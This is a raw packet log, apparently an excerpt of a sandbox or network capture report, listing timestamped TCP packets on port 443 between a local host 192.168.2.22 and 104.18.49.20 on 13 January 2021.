Jan 13, 2021 13:44:42.475684881 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.475696087 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.476072073 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.476532936 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.476573944 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.476608992 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.476653099 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.477489948 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.477531910 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.477567911 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.477576017 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.477658987 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.478456974 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.478498936 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.478533983 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.478576899 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.479464054 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.479526997 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.479546070 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.479567051 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.479619980 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.479876041 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.480317116 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.480360985 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.480396986 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.481314898 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.481355906 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.481400013 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.481425047 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.482287884 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.482323885 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.482361078 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.482361078 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.482409954 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.483133078 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.483171940 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.483218908 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.484092951 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.484136105 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.484153986 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.484173059 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.484219074 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.485045910 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.485088110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.485124111 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.485174894 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.485975981 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.486012936 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.486043930 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.486105919 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.486920118 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.486960888 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.486996889 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.487042904 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.487879038 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.487921000 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.487950087 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.488018990 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.488843918 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.488886118 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.488924026 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.488935947 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.489789009 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.489830017 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.489866018 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.489886045 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.490755081 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.490793943 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.490816116 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.490830898 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.490883112 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.491596937 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.491633892 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.491679907 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.491686106 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.492624044 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.492661953 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.492705107 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.492707968 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.492763996 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.493529081 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.493570089 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.493606091 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.493664026 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.494447947 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.494498968 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.494541883 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.494556904 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.495404959 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.495445013 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.495481968 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.495534897 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.496339083 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.496387005 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.496428013 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.496469021 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.497270107 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.497313023 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.497349024 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.497378111 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.498223066 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.498270988 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.498298883 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.498312950 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.498363972 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.499151945 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.499193907 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.499231100 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.499284983 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.500135899 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.500178099 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.500212908 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.500228882 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.510912895 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.510970116 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.511001110 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.511125088 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.511164904 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.511181116 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.511214972 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.511236906 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.512065887 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.512109041 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.512145996 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.512206078 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.512974977 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.513011932 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.513078928 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.513659000 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.513700008 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.513736010 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.513804913 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.514580011 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.514617920 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.514655113 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.514683962 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.515475035 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.515513897 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.515552044 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.515558004 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.515623093 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.516494989 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.516536951 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.516571999 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.516588926 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.517689943 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.517729044 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.517775059 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.517829895 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.518341064 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.518383026 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.518419027 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.518441916 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.519241095 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.519279003 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.519325018 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.519344091 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.520241976 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.520282984 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.520318031 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.520319939 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.520395994 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.521100998 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.521141052 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.521177053 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.521238089 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.522069931 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.522110939 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.522146940 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.522181988 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.523015022 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.523055077 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.523085117 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.523179054 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.523196936 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.523961067 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.524000883 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.524039030 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.524086952 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.524950981 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.524991989 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.525026083 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.525053024 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.525912046 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.525954008 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.525989056 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.525990009 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.526045084 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.526865005 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.526902914 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.526940107 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.526956081 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.527715921 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.527757883 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.527789116 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.527795076 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.527908087 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.528673887 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.528716087 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.528752089 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.528791904 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.529632092 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.529670954 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.529701948 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.529720068 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.529773951 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.530565977 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.530607939 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.530637026 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.530666113 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.566390991 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566464901 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566510916 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566546917 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566585064 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566622972 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566660881 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566699982 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566730022 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.566739082 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566768885 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.566787958 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566797972 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.566831112 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566868067 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566886902 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.566898108 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.566950083 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.569334984 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569380045 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569483042 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569523096 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569555998 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.569569111 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569611073 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569648027 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569659948 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.569781065 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569829941 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569834948 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.569875956 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569912910 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569930077 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.569951057 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.569982052 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570003033 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.570465088 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570523977 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570563078 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570597887 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570625067 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.570646048 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570688963 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.570697069 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.570725918 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571176052 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.571362972 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571402073 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571448088 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571511984 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571518898 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.571553946 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571602106 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571625948 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.571645021 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.571687937 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.572339058 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572380066 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572417974 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572455883 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572494030 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572494030 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.572534084 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572573900 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.572588921 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.573244095 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573285103 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573307037 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.573332071 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573374987 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573399067 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.573441029 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573482037 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573517084 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.573519945 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.573568106 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.574235916 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574285030 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574326038 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574364901 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574378967 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.574404001 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574441910 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574449062 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.574482918 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.574630976 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.575123072 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.575165033 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.575203896 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.575229883 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.575242043 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.575278997 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.575297117 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.575318098 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.575356960 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576042891 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576082945 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576103926 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.576131105 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576173067 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576181889 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.576210976 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576247931 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576261044 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.576287031 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.576334953 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.577022076 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577065945 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577100992 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577146053 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577155113 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.577188015 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577224016 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577236891 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.577261925 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.577307940 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.577964067 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578006983 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578042984 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578058958 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.578083038 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578119993 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578128099 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.578167915 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578210115 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578218937 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.578916073 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578954935 CET	443	49184	104.18.49.20	192.168.2.22
Jan 13, 2021 13:44:42.578969955 CET	49184	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:44:42.578994036 CET	443	49184	104.18.49.20	192.168.2.22
